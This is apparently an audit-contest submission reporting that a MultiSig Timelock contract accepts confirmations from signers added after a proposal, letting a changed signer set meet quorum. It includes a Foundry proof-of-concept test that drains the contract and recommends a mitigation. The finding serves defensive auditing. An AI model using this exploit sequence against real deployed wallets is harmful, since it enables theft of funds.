MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: high
Likelihood: low

Signer‑Set Change Enables Retroactive Confirmation

Author Revealed upon completion

Summary

A proposed transaction can be confirmed and executed after the signer set changes.

Root cause

Confirmations are tracked per address and accepted if the confirmer currently has the signing role. There is no snapshot of the signer set when a transaction is proposed, no expiration window for proposals, and outstanding confirmations are not invalidated when the signer set changes. This enables later signers (added after proposal) to retroactively complete quorum for earlier proposals.

Risk

Likelihood

  • This occurs during normal signer management operations when owner replaces a signer after a transaction is proposed.

  • This can also occur after an account compromise when new signers are added.

Impact

  • Funds can be transferred by a different signer set.

  • The stated multisig guarantee (e.g., "3‑of‑N required") is broken.

Proof of Concept

function test_poc() public {
address SIGNER_SIX = makeAddr("signer_six");
// initial signers
multiSigTimelock.grantSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_THREE);
multiSigTimelock.grantSigningRole(SIGNER_FOUR);
multiSigTimelock.grantSigningRole(SIGNER_FIVE);
// fund contract
uint256 initialFund = 0.5 ether;
vm.deal(address(multiSigTimelock), initialFund);
// owner proposes a transaction under the initial signer set
uint256 txIdOne = multiSigTimelock.proposeTransaction(
SIGNER_TWO,
initialFund,
""
);
// owner and SIGNER_TWO confirm
multiSigTimelock.confirmTransaction(txIdOne);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(txIdOne);
// owner revokes SIGNER_TWO and grants SIGNER_SIX
multiSigTimelock.revokeSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_SIX);
// SIGNER_SIX (added after proposal) confirms the earlier proposal
vm.prank(SIGNER_SIX);
multiSigTimelock.confirmTransaction(txIdOne);
// owner executes; funds are drained despite signer-set change
multiSigTimelock.executeTransaction(txIdOne);
assertEq(address(multiSigTimelock).balance, 0);
assertEq(SIGNER_TWO.balance, initialFund);
}

Recommended mitigations

Add a grant timestamp and prevent newly-granted signers from confirming transactions proposed before their grant

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!